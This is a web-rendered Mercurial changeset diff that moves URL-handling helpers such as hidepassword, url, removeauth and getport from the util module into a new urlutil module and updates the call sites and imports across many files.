##// END OF EJS Templates
urlutil: extract `url` related code from `util` into the new module...
marmoute -
r47669:ffd3e823 default
parent child Browse files
Show More
@@ -19,9 +19,11 b' from mercurial import ('
19 19 lock,
20 20 pycompat,
21 21 registrar,
22 util,
23 22 )
24 from mercurial.utils import dateutil
23 from mercurial.utils import (
24 dateutil,
25 urlutil,
26 )
25 27
26 28 release = lock.release
27 29 cmdtable = {}
@@ -109,7 +111,8 b" def fetch(ui, repo, source=b'default', *"
109 111
110 112 other = hg.peer(repo, opts, ui.expandpath(source))
111 113 ui.status(
112 _(b'pulling from %s\n') % util.hidepassword(ui.expandpath(source))
114 _(b'pulling from %s\n')
115 % urlutil.hidepassword(ui.expandpath(source))
113 116 )
114 117 revs = None
115 118 if opts[b'rev']:
@@ -180,7 +183,7 b" def fetch(ui, repo, source=b'default', *"
180 183 if not err:
181 184 # we don't translate commit messages
182 185 message = cmdutil.logmessage(ui, opts) or (
183 b'Automated merge with %s' % util.removeauth(other.url())
186 b'Automated merge with %s' % urlutil.removeauth(other.url())
184 187 )
185 188 editopt = opts.get(b'edit') or opts.get(b'force_editor')
186 189 editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch')
@@ -242,6 +242,7 b' from mercurial import ('
242 242 from mercurial.utils import (
243 243 dateutil,
244 244 stringutil,
245 urlutil,
245 246 )
246 247
247 248 pickle = util.pickle
@@ -1042,7 +1043,7 b' def findoutgoing(ui, repo, remote=None, '
1042 1043 opts = {}
1043 1044 dest = ui.expandpath(remote or b'default-push', remote or b'default')
1044 1045 dest, branches = hg.parseurl(dest, None)[:2]
1045 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1046 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1046 1047
1047 1048 revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
1048 1049 other = hg.peer(repo, opts, dest)
@@ -12,6 +12,9 b' from __future__ import absolute_import'
12 12 from mercurial.i18n import _
13 13
14 14 from mercurial import node, util
15 from mercurial.utils import (
16 urlutil,
17 )
15 18
16 19 from . import lfutil
17 20
@@ -29,13 +32,13 b' class StoreError(Exception):'
29 32 def longmessage(self):
30 33 return _(b"error getting id %s from url %s for file %s: %s\n") % (
31 34 self.hash,
32 util.hidepassword(self.url),
35 urlutil.hidepassword(self.url),
33 36 self.filename,
34 37 self.detail,
35 38 )
36 39
37 40 def __str__(self):
38 return b"%s: %s" % (util.hidepassword(self.url), self.detail)
41 return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail)
39 42
40 43
41 44 class basestore(object):
@@ -79,7 +82,7 b' class basestore(object):'
79 82 if not available.get(hash):
80 83 ui.warn(
81 84 _(b'%s: largefile %s not available from %s\n')
82 % (filename, hash, util.hidepassword(self.url))
85 % (filename, hash, urlutil.hidepassword(self.url))
83 86 )
84 87 missing.append(filename)
85 88 continue
@@ -15,7 +15,10 b' from mercurial import ('
15 15 util,
16 16 )
17 17
18 from mercurial.utils import stringutil
18 from mercurial.utils import (
19 stringutil,
20 urlutil,
21 )
19 22
20 23 from . import (
21 24 basestore,
@@ -40,11 +43,11 b' class remotestore(basestore.basestore):'
40 43 if self.sendfile(source, hash):
41 44 raise error.Abort(
42 45 _(b'remotestore: could not put %s to remote store %s')
43 % (source, util.hidepassword(self.url))
46 % (source, urlutil.hidepassword(self.url))
44 47 )
45 48 self.ui.debug(
46 49 _(b'remotestore: put %s to remote store %s\n')
47 % (source, util.hidepassword(self.url))
50 % (source, urlutil.hidepassword(self.url))
48 51 )
49 52
50 53 def exists(self, hashes):
@@ -80,7 +83,7 b' class remotestore(basestore.basestore):'
80 83 # keep trying with the other files... they will probably
81 84 # all fail too.
82 85 raise error.Abort(
83 b'%s: %s' % (util.hidepassword(self.url), e.reason)
86 b'%s: %s' % (urlutil.hidepassword(self.url), e.reason)
84 87 )
85 88 except IOError as e:
86 89 raise basestore.StoreError(
@@ -12,6 +12,9 b' from mercurial import ('
12 12 hg,
13 13 util,
14 14 )
15 from mercurial.utils import (
16 urlutil,
17 )
15 18
16 19 from . import (
17 20 lfutil,
@@ -71,7 +74,7 b' def openstore(repo=None, remote=None, pu'
71 74
72 75 raise error.Abort(
73 76 _(b'%s does not appear to be a largefile store')
74 % util.hidepassword(path)
77 % urlutil.hidepassword(path)
75 78 )
76 79
77 80
@@ -31,7 +31,10 b' from mercurial import ('
31 31 worker,
32 32 )
33 33
34 from mercurial.utils import stringutil
34 from mercurial.utils import (
35 stringutil,
36 urlutil,
37 )
35 38
36 39 from ..largefiles import lfutil
37 40
@@ -725,7 +728,7 b' def remote(repo, remote=None):'
725 728 https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md
726 729 """
727 730 lfsurl = repo.ui.config(b'lfs', b'url')
728 url = util.url(lfsurl or b'')
731 url = urlutil.url(lfsurl or b'')
729 732 if lfsurl is None:
730 733 if remote:
731 734 path = remote
@@ -739,7 +742,7 b' def remote(repo, remote=None):'
739 742 # and fall back to inferring from 'paths.remote' if unspecified.
740 743 path = repo.ui.config(b'paths', b'default') or b''
741 744
742 defaulturl = util.url(path)
745 defaulturl = urlutil.url(path)
743 746
744 747 # TODO: support local paths as well.
745 748 # TODO: consider the ssh -> https transformation that git applies
@@ -748,7 +751,7 b' def remote(repo, remote=None):'
748 751 defaulturl.path += b'/'
749 752 defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs'
750 753
751 url = util.url(bytes(defaulturl))
754 url = urlutil.url(bytes(defaulturl))
752 755 repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url)
753 756
754 757 scheme = url.scheme
@@ -108,6 +108,7 b' from mercurial import ('
108 108 from mercurial.utils import (
109 109 dateutil,
110 110 stringutil,
111 urlutil,
111 112 )
112 113
113 114 release = lockmod.release
@@ -2509,7 +2510,7 b' class queue(object):'
2509 2510 )
2510 2511 filename = normname(filename)
2511 2512 self.checkreservedname(filename)
2512 if util.url(filename).islocal():
2513 if urlutil.url(filename).islocal():
2513 2514 originpath = self.join(filename)
2514 2515 if not os.path.isfile(originpath):
2515 2516 raise error.Abort(
@@ -36,6 +36,9 b' from mercurial import ('
36 36 util,
37 37 wireprototypes,
38 38 )
39 from mercurial.utils import (
40 urlutil,
41 )
39 42
40 43 table = {}
41 44 command = registrar.command(table)
@@ -592,7 +595,7 b' def trackedcmd(ui, repo, remotepath=None'
592 595 # also define the set of revisions to update for widening.
593 596 remotepath = ui.expandpath(remotepath or b'default')
594 597 url, branches = hg.parseurl(remotepath)
595 ui.status(_(b'comparing with %s\n') % util.hidepassword(url))
598 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
596 599 remote = hg.peer(repo, opts, url)
597 600
598 601 try:
@@ -99,7 +99,10 b' from mercurial import ('
99 99 templater,
100 100 util,
101 101 )
102 from mercurial.utils import dateutil
102 from mercurial.utils import (
103 dateutil,
104 urlutil,
105 )
103 106
104 107 stringio = util.stringio
105 108
@@ -529,7 +532,7 b' def _getoutgoing(repo, dest, revs):'
529 532 ui = repo.ui
530 533 url = ui.expandpath(dest or b'default-push', dest or b'default')
531 534 url = hg.parseurl(url)[0]
532 ui.status(_(b'comparing with %s\n') % util.hidepassword(url))
535 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
533 536
534 537 revs = [r for r in revs if r >= 0]
535 538 if not revs:
@@ -103,6 +103,7 b' from mercurial import ('
103 103 from mercurial.utils import (
104 104 procutil,
105 105 stringutil,
106 urlutil,
106 107 )
107 108 from . import show
108 109
@@ -366,7 +367,7 b' def urlencodenested(params):'
366 367 process(k, v)
367 368
368 369 process(b'', params)
369 return util.urlreq.urlencode(flatparams)
370 return urlutil.urlreq.urlencode(flatparams)
370 371
371 372
372 373 def readurltoken(ui):
@@ -381,7 +382,7 b' def readurltoken(ui):'
381 382 _(b'config %s.%s is required') % (b'phabricator', b'url')
382 383 )
383 384
384 res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user)
385 res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user)
385 386 token = None
386 387
387 388 if res:
@@ -52,7 +52,9 b' from mercurial import ('
52 52 pycompat,
53 53 registrar,
54 54 templater,
55 util,
55 )
56 from mercurial.utils import (
57 urlutil,
56 58 )
57 59
58 60 cmdtable = {}
@@ -86,7 +88,7 b' class ShortRepository(object):'
86 88 )
87 89
88 90 def resolve(self, url):
89 # Should this use the util.url class, or is manual parsing better?
91 # Should this use the urlutil.url class, or is manual parsing better?
90 92 try:
91 93 url = url.split(b'://', 1)[1]
92 94 except IndexError:
@@ -137,7 +139,7 b' def extsetup(ui):'
137 139 )
138 140 hg.schemes[scheme] = ShortRepository(url, scheme, t)
139 141
140 extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter)
142 extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter)
141 143
142 144
143 145 @command(b'debugexpandscheme', norepo=True)
@@ -27,6 +27,9 b' from . import ('
27 27 txnutil,
28 28 util,
29 29 )
30 from .utils import (
31 urlutil,
32 )
30 33
31 34 # label constants
32 35 # until 3.5, bookmarks.current was the advertised name, not
@@ -597,10 +600,10 b' def _diverge(ui, b, path, localmarks, re'
597 600 # try to use an @pathalias suffix
598 601 # if an @pathalias already exists, we overwrite (update) it
599 602 if path.startswith(b"file:"):
600 path = util.url(path).path
603 path = urlutil.url(path).path
601 604 for p, u in ui.configitems(b"paths"):
602 605 if u.startswith(b"file:"):
603 u = util.url(u).path
606 u = urlutil.url(u).path
604 607 if path == u:
605 608 return b'%s@%s' % (b, p)
606 609
@@ -177,7 +177,10 b' from . import ('
177 177 url,
178 178 util,
179 179 )
180 from .utils import stringutil
180 from .utils import (
181 stringutil,
182 urlutil,
183 )
181 184
182 185 urlerr = util.urlerr
183 186 urlreq = util.urlreq
@@ -2073,7 +2076,7 b' def handleremotechangegroup(op, inpart):'
2073 2076 raw_url = inpart.params[b'url']
2074 2077 except KeyError:
2075 2078 raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
2076 parsed_url = util.url(raw_url)
2079 parsed_url = urlutil.url(raw_url)
2077 2080 if parsed_url.scheme not in capabilities[b'remote-changegroup']:
2078 2081 raise error.Abort(
2079 2082 _(b'remote-changegroup does not support %s urls')
@@ -2110,7 +2113,7 b' def handleremotechangegroup(op, inpart):'
2110 2113 cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
2111 2114 if not isinstance(cg, changegroup.cg1unpacker):
2112 2115 raise error.Abort(
2113 _(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url)
2116 _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url)
2114 2117 )
2115 2118 ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
2116 2119 if op.reply is not None:
@@ -2126,7 +2129,7 b' def handleremotechangegroup(op, inpart):'
2126 2129 except error.Abort as e:
2127 2130 raise error.Abort(
2128 2131 _(b'bundle at %s is corrupted:\n%s')
2129 % (util.hidepassword(raw_url), e.message)
2132 % (urlutil.hidepassword(raw_url), e.message)
2130 2133 )
2131 2134 assert not inpart.read()
2132 2135
@@ -43,6 +43,9 b' from . import ('
43 43 util,
44 44 vfs as vfsmod,
45 45 )
46 from .utils import (
47 urlutil,
48 )
46 49
47 50
48 51 class bundlerevlog(revlog.revlog):
@@ -475,7 +478,7 b' def instance(ui, path, create, intents=N'
475 478 cwd = pathutil.normasprefix(cwd)
476 479 if parentpath.startswith(cwd):
477 480 parentpath = parentpath[len(cwd) :]
478 u = util.url(path)
481 u = urlutil.url(path)
479 482 path = u.localpath()
480 483 if u.scheme == b'bundle':
481 484 s = path.split(b"+", 1)
@@ -74,6 +74,7 b' from . import ('
74 74 from .utils import (
75 75 dateutil,
76 76 stringutil,
77 urlutil,
77 78 )
78 79
79 80 if pycompat.TYPE_CHECKING:
@@ -4319,7 +4320,7 b' def incoming(ui, repo, source=b"default"'
4319 4320 ui.warn(_(b"remote doesn't support bookmarks\n"))
4320 4321 return 0
4321 4322 ui.pager(b'incoming')
4322 ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
4323 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
4323 4324 return bookmarks.incoming(ui, repo, other)
4324 4325 finally:
4325 4326 other.close()
@@ -4994,7 +4995,7 b' def outgoing(ui, repo, dest=None, **opts'
4994 4995 if b'bookmarks' not in other.listkeys(b'namespaces'):
4995 4996 ui.warn(_(b"remote doesn't support bookmarks\n"))
4996 4997 return 0
4997 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
4998 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
4998 4999 ui.pager(b'outgoing')
4999 5000 return bookmarks.outgoing(ui, repo, other)
5000 5001 finally:
@@ -5142,7 +5143,7 b' def paths(ui, repo, search=None, **opts)'
5142 5143
5143 5144 fm = ui.formatter(b'paths', opts)
5144 5145 if fm.isplain():
5145 hidepassword = util.hidepassword
5146 hidepassword = urlutil.hidepassword
5146 5147 else:
5147 5148 hidepassword = bytes
5148 5149 if ui.quiet:
@@ -5392,7 +5393,7 b' def pull(ui, repo, *sources, **opts):'
5392 5393 source, branches = hg.parseurl(
5393 5394 ui.expandpath(source), opts.get(b'branch')
5394 5395 )
5395 ui.status(_(b'pulling from %s\n') % util.hidepassword(source))
5396 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5396 5397 ui.flush()
5397 5398 other = hg.peer(repo, opts, source)
5398 5399 update_conflict = None
@@ -5732,7 +5733,7 b' def push(ui, repo, *dests, **opts):'
5732 5733 )
5733 5734 dest = path.pushloc or path.loc
5734 5735 branches = (path.branch, opts.get(b'branch') or [])
5735 ui.status(_(b'pushing to %s\n') % util.hidepassword(dest))
5736 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5736 5737 revs, checkout = hg.addbranchrevs(
5737 5738 repo, repo, branches, opts.get(b'rev')
5738 5739 )
@@ -7235,7 +7236,7 b' def summary(ui, repo, **opts):'
7235 7236 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7236 7237 if revs:
7237 7238 revs = [other.lookup(rev) for rev in revs]
7238 ui.debug(b'comparing with %s\n' % util.hidepassword(source))
7239 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7239 7240 repo.ui.pushbuffer()
7240 7241 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7241 7242 repo.ui.popbuffer()
@@ -7257,7 +7258,7 b' def summary(ui, repo, **opts):'
7257 7258 if opts.get(b'remote'):
7258 7259 raise
7259 7260 return dest, dbranch, None, None
7260 ui.debug(b'comparing with %s\n' % util.hidepassword(dest))
7261 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7261 7262 elif sother is None:
7262 7263 # there is no explicit destination peer, but source one is invalid
7263 7264 return dest, dbranch, None, None
@@ -7599,7 +7600,7 b' def unbundle(ui, repo, fname1, *fnames, '
7599 7600 try:
7600 7601 txnname = b'unbundle'
7601 7602 if not isinstance(gen, bundle2.unbundle20):
7602 txnname = b'unbundle\n%s' % util.hidepassword(url)
7603 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7603 7604 with repo.transaction(txnname) as tr:
7604 7605 op = bundle2.applybundle(
7605 7606 repo, gen, tr, source=b'unbundle', url=url
@@ -98,6 +98,7 b' from .utils import ('
98 98 dateutil,
99 99 procutil,
100 100 stringutil,
101 urlutil,
101 102 )
102 103
103 104 from .revlogutils import (
@@ -1061,7 +1062,7 b' def debugdiscovery(ui, repo, remoteurl=b'
1061 1062
1062 1063 remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
1063 1064 remote = hg.peer(repo, opts, remoteurl)
1064 ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl))
1065 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl))
1065 1066 else:
1066 1067 branches = (None, [])
1067 1068 remote_filtered_revs = scmutil.revrange(
@@ -3652,7 +3653,7 b' def debugssl(ui, repo, source=None, **op'
3652 3653 source = b"default"
3653 3654
3654 3655 source, branches = hg.parseurl(ui.expandpath(source))
3655 url = util.url(source)
3656 url = urlutil.url(source)
3656 3657
3657 3658 defaultport = {b'https': 443, b'ssh': 22}
3658 3659 if url.scheme in defaultport:
@@ -4525,7 +4526,7 b' def debugwireproto(ui, repo, path=None, '
4525 4526 # We bypass hg.peer() so we can proxy the sockets.
4526 4527 # TODO consider not doing this because we skip
4527 4528 # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
4528 u = util.url(path)
4529 u = urlutil.url(path)
4529 4530 if u.scheme != b'http':
4530 4531 raise error.Abort(_(b'only http:// paths are currently supported'))
4531 4532
@@ -42,6 +42,7 b' from . import ('
42 42 from .utils import (
43 43 hashutil,
44 44 stringutil,
45 urlutil,
45 46 )
46 47
47 48 urlerr = util.urlerr
@@ -1465,7 +1466,7 b' class transactionmanager(util.transactio'
1465 1466 def transaction(self):
1466 1467 """Return an open transaction object, constructing if necessary"""
1467 1468 if not self._tr:
1468 trname = b'%s\n%s' % (self.source, util.hidepassword(self.url))
1469 trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url))
1469 1470 self._tr = self.repo.transaction(trname)
1470 1471 self._tr.hookargs[b'source'] = self.source
1471 1472 self._tr.hookargs[b'url'] = self.url
@@ -2647,7 +2648,7 b' def unbundle(repo, cg, heads, source, ur'
2647 2648 # push can proceed
2648 2649 if not isinstance(cg, bundle2.unbundle20):
2649 2650 # legacy case: bundle1 (changegroup 01)
2650 txnname = b"\n".join([source, util.hidepassword(url)])
2651 txnname = b"\n".join([source, urlutil.hidepassword(url)])
2651 2652 with repo.lock(), repo.transaction(txnname) as tr:
2652 2653 op = bundle2.applybundle(repo, cg, tr, source, url)
2653 2654 r = bundle2.combinechangegroupresults(op)
@@ -55,6 +55,7 b' from . import ('
55 55 from .utils import (
56 56 hashutil,
57 57 stringutil,
58 urlutil,
58 59 )
59 60
60 61
@@ -65,7 +66,7 b" sharedbookmarks = b'bookmarks'"
65 66
66 67
67 68 def _local(path):
68 path = util.expandpath(util.urllocalpath(path))
69 path = util.expandpath(urlutil.urllocalpath(path))
69 70
70 71 try:
71 72 # we use os.stat() directly here instead of os.path.isfile()
@@ -132,7 +133,7 b' def addbranchrevs(lrepo, other, branches'
132 133 def parseurl(path, branches=None):
133 134 '''parse url#branch, returning (url, (branch, branches))'''
134 135
135 u = util.url(path)
136 u = urlutil.url(path)
136 137 branch = None
137 138 if u.fragment:
138 139 branch = u.fragment
@@ -152,7 +153,7 b' schemes = {'
152 153
153 154
154 155 def _peerlookup(path):
155 u = util.url(path)
156 u = urlutil.url(path)
156 157 scheme = u.scheme or b'file'
157 158 thing = schemes.get(scheme) or schemes[b'file']
158 159 try:
@@ -177,7 +178,7 b' def islocal(repo):'
177 178
178 179 def openpath(ui, path, sendaccept=True):
179 180 '''open path with open if local, url.open if remote'''
180 pathurl = util.url(path, parsequery=False, parsefragment=False)
181 pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
181 182 if pathurl.islocal():
182 183 return util.posixfile(pathurl.localpath(), b'rb')
183 184 else:
@@ -265,7 +266,7 b' def defaultdest(source):'
265 266 >>> defaultdest(b'http://example.org/foo/')
266 267 'foo'
267 268 """
268 path = util.url(source).path
269 path = urlutil.url(source).path
269 270 if not path:
270 271 return b''
271 272 return os.path.basename(os.path.normpath(path))
@@ -571,7 +572,7 b' def clonewithshare('
571 572
572 573 # Resolve the value to put in [paths] section for the source.
573 574 if islocal(source):
574 defaultpath = os.path.abspath(util.urllocalpath(source))
575 defaultpath = os.path.abspath(urlutil.urllocalpath(source))
575 576 else:
576 577 defaultpath = source
577 578
@@ -693,8 +694,8 b' def clone('
693 694 else:
694 695 dest = ui.expandpath(dest)
695 696
696 dest = util.urllocalpath(dest)
697 source = util.urllocalpath(source)
697 dest = urlutil.urllocalpath(dest)
698 source = urlutil.urllocalpath(source)
698 699
699 700 if not dest:
700 701 raise error.InputError(_(b"empty destination path is not valid"))
@@ -825,7 +826,7 b' def clone('
825 826
826 827 abspath = origsource
827 828 if islocal(origsource):
828 abspath = os.path.abspath(util.urllocalpath(origsource))
829 abspath = os.path.abspath(urlutil.urllocalpath(origsource))
829 830
830 831 if islocal(dest):
831 832 cleandir = dest
@@ -939,7 +940,7 b' def clone('
939 940 local.setnarrowpats(storeincludepats, storeexcludepats)
940 941 narrowspec.copytoworkingcopy(local)
941 942
942 u = util.url(abspath)
943 u = urlutil.url(abspath)
943 944 defaulturl = bytes(u)
944 945 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
945 946 if not stream:
@@ -986,7 +987,7 b' def clone('
986 987 destrepo = destpeer.local()
987 988 if destrepo:
988 989 template = uimod.samplehgrcs[b'cloned']
989 u = util.url(abspath)
990 u = urlutil.url(abspath)
990 991 u.passwd = None
991 992 defaulturl = bytes(u)
992 993 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
@@ -1269,7 +1270,7 b' def _incoming('
1269 1270 other = peer(repo, opts, source)
1270 1271 cleanupfn = other.close
1271 1272 try:
1272 ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
1273 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
1273 1274 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1274 1275
1275 1276 if revs:
@@ -1330,7 +1331,7 b' def _outgoing(ui, repo, dest, opts):'
1330 1331 dest = path.pushloc or path.loc
1331 1332 branches = path.branch, opts.get(b'branch') or []
1332 1333
1333 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1334 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1334 1335 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1335 1336 if revs:
1336 1337 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
@@ -17,6 +17,9 b' from .. import ('
17 17 pycompat,
18 18 util,
19 19 )
20 from ..utils import (
21 urlutil,
22 )
20 23
21 24
22 25 class multidict(object):
@@ -184,7 +187,7 b' def parserequestfromenv(env, reponame=No'
184 187 reponame = env.get(b'REPO_NAME')
185 188
186 189 if altbaseurl:
187 altbaseurl = util.url(altbaseurl)
190 altbaseurl = urlutil.url(altbaseurl)
188 191
189 192 # https://www.python.org/dev/peps/pep-0333/#environ-variables defines
190 193 # the environment variables.
@@ -28,6 +28,9 b' from .. import ('
28 28 pycompat,
29 29 util,
30 30 )
31 from ..utils import (
32 urlutil,
33 )
31 34
32 35 httpservermod = util.httpserver
33 36 socketserver = util.socketserver
@@ -431,7 +434,7 b' def create_server(ui, app):'
431 434 sys.setdefaultencoding(oldenc)
432 435
433 436 address = ui.config(b'web', b'address')
434 port = util.getport(ui.config(b'web', b'port'))
437 port = urlutil.getport(ui.config(b'web', b'port'))
435 438 try:
436 439 return cls(ui, app, (address, port), handler)
437 440 except socket.error as inst:
@@ -18,6 +18,10 b' from . import ('
18 18 pycompat,
19 19 util,
20 20 )
21 from .utils import (
22 urlutil,
23 )
24
21 25
22 26 urlerr = util.urlerr
23 27 urlreq = util.urlreq
@@ -99,7 +103,7 b' def readauthforuri(ui, uri, user):'
99 103 if not prefix:
100 104 continue
101 105
102 prefixurl = util.url(prefix)
106 prefixurl = urlutil.url(prefix)
103 107 if prefixurl.user and prefixurl.user != user:
104 108 # If a username was set in the prefix, it must match the username in
105 109 # the URI.
@@ -38,6 +38,7 b' from .interfaces import ('
38 38 from .utils import (
39 39 cborutil,
40 40 stringutil,
41 urlutil,
41 42 )
42 43
43 44 httplib = util.httplib
@@ -305,7 +306,7 b' def sendrequest(ui, opener, req):'
305 306 except httplib.HTTPException as inst:
306 307 ui.debug(
307 308 b'http error requesting %s\n'
308 % util.hidepassword(req.get_full_url())
309 % urlutil.hidepassword(req.get_full_url())
309 310 )
310 311 ui.traceback()
311 312 raise IOError(None, inst)
@@ -352,14 +353,14 b' def parsev1commandresponse('
352 353 except AttributeError:
353 354 proto = pycompat.bytesurl(resp.headers.get('content-type', ''))
354 355
355 safeurl = util.hidepassword(baseurl)
356 safeurl = urlutil.hidepassword(baseurl)
356 357 if proto.startswith(b'application/hg-error'):
357 358 raise error.OutOfBandError(resp.read())
358 359
359 360 # Pre 1.0 versions of Mercurial used text/plain and
360 361 # application/hg-changegroup. We don't support such old servers.
361 362 if not proto.startswith(b'application/mercurial-'):
362 ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl))
363 ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl))
363 364 msg = _(
364 365 b"'%s' does not appear to be an hg repository:\n"
365 366 b"---%%<--- (%s)\n%s\n---%%<---\n"
@@ -1058,7 +1059,7 b' def makepeer(ui, path, opener=None, requ'
1058 1059 ``requestbuilder`` is the type used for constructing HTTP requests.
1059 1060 It exists as an argument so extensions can override the default.
1060 1061 """
1061 u = util.url(path)
1062 u = urlutil.url(path)
1062 1063 if u.query or u.fragment:
1063 1064 raise error.Abort(
1064 1065 _(b'unsupported URL component: "%s"') % (u.query or u.fragment)
@@ -85,6 +85,7 b' from .utils import ('
85 85 hashutil,
86 86 procutil,
87 87 stringutil,
88 urlutil,
88 89 )
89 90
90 91 from .revlogutils import (
@@ -3404,7 +3405,7 b' def undoname(fn):'
3404 3405
3405 3406
3406 3407 def instance(ui, path, create, intents=None, createopts=None):
3407 localpath = util.urllocalpath(path)
3408 localpath = urlutil.urllocalpath(path)
3408 3409 if create:
3409 3410 createrepository(ui, localpath, createopts=createopts)
3410 3411
@@ -15,6 +15,9 b' from . import ('
15 15 util,
16 16 vfs as vfsmod,
17 17 )
18 from .utils import (
19 urlutil,
20 )
18 21
19 22 # directory name in .hg/ in which remotenames files will be present
20 23 remotenamedir = b'logexchange'
@@ -117,7 +120,7 b' def activepath(repo, remote):'
117 120 # represent the remotepath with user defined path name if exists
118 121 for path, url in repo.ui.configitems(b'paths'):
119 122 # remove auth info from user defined url
120 noauthurl = util.removeauth(url)
123 noauthurl = urlutil.removeauth(url)
121 124
122 125 # Standardize on unix style paths, otherwise some {remotenames} end up
123 126 # being an absolute path on Windows.
@@ -34,6 +34,7 b' from . import ('
34 34 from .utils import (
35 35 procutil,
36 36 stringutil,
37 urlutil,
37 38 )
38 39
39 40 if pycompat.TYPE_CHECKING:
@@ -139,7 +140,7 b' def _smtp(ui):'
139 140 defaultport = 465
140 141 else:
141 142 defaultport = 25
142 mailport = util.getport(ui.config(b'smtp', b'port', defaultport))
143 mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport))
143 144 ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport))
144 145 s.connect(host=mailhost, port=mailport)
145 146 if starttls:
@@ -28,11 +28,11 b' from . import ('
28 28 pycompat,
29 29 requirements,
30 30 scmutil,
31 util,
32 31 )
33 32 from .utils import (
34 33 hashutil,
35 34 stringutil,
35 urlutil,
36 36 )
37 37
38 38
@@ -245,7 +245,7 b' def strip(ui, repo, nodelist, backup=Tru'
245 245 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
246 246 txnname = b'strip'
247 247 if not isinstance(gen, bundle2.unbundle20):
248 txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl)
248 txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl)
249 249 with repo.transaction(txnname) as tr:
250 250 bundle2.applybundle(
251 251 repo, gen, tr, source=b'strip', url=tmpbundleurl
@@ -22,7 +22,10 b' from . import ('
22 22 util,
23 23 )
24 24
25 from .utils import procutil
25 from .utils import (
26 procutil,
27 urlutil,
28 )
26 29
27 30
28 31 def runservice(
@@ -184,7 +187,7 b' def _createcmdservice(ui, repo, opts):'
184 187 def _createhgwebservice(ui, repo, opts):
185 188 # this way we can check if something was given in the command-line
186 189 if opts.get(b'port'):
187 opts[b'port'] = util.getport(opts.get(b'port'))
190 opts[b'port'] = urlutil.getport(opts.get(b'port'))
188 191
189 192 alluis = {ui}
190 193 if repo:
@@ -24,6 +24,7 b' from . import ('
24 24 from .utils import (
25 25 procutil,
26 26 stringutil,
27 urlutil,
27 28 )
28 29
29 30
@@ -662,11 +663,11 b' def instance(ui, path, create, intents=N'
662 663
663 664 The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
664 665 """
665 u = util.url(path, parsequery=False, parsefragment=False)
666 u = urlutil.url(path, parsequery=False, parsefragment=False)
666 667 if u.scheme != b'ssh' or not u.host or u.path is None:
667 668 raise error.RepoError(_(b"couldn't parse location %s") % path)
668 669
669 util.checksafessh(path)
670 urlutil.checksafessh(path)
670 671
671 672 if u.passwd is not None:
672 673 raise error.RepoError(_(b'password in URL not supported'))
@@ -26,6 +26,9 b' from . import ('
26 26 util,
27 27 vfs as vfsmod,
28 28 )
29 from .utils import (
30 urlutil,
31 )
29 32
30 33 urlerr = util.urlerr
31 34 urlreq = util.urlreq
@@ -162,7 +165,7 b' class statichttprepository('
162 165 self.ui = ui
163 166
164 167 self.root = path
165 u = util.url(path.rstrip(b'/') + b"/.hg")
168 u = urlutil.url(path.rstrip(b'/') + b"/.hg")
166 169 self.path, authinfo = u.authinfo()
167 170
168 171 vfsclass = build_opener(ui, authinfo)
@@ -44,6 +44,7 b' from .utils import ('
44 44 dateutil,
45 45 hashutil,
46 46 procutil,
47 urlutil,
47 48 )
48 49
49 50 hg = None
@@ -57,8 +58,8 b' def _expandedabspath(path):'
57 58 """
58 59 get a path or url and if it is a path expand it and return an absolute path
59 60 """
60 expandedpath = util.urllocalpath(util.expandpath(path))
61 u = util.url(expandedpath)
61 expandedpath = urlutil.urllocalpath(util.expandpath(path))
62 u = urlutil.url(expandedpath)
62 63 if not u.scheme:
63 64 path = util.normpath(os.path.abspath(u.path))
64 65 return path
@@ -745,7 +746,7 b' class hgsubrepo(abstractsubrepo):'
745 746
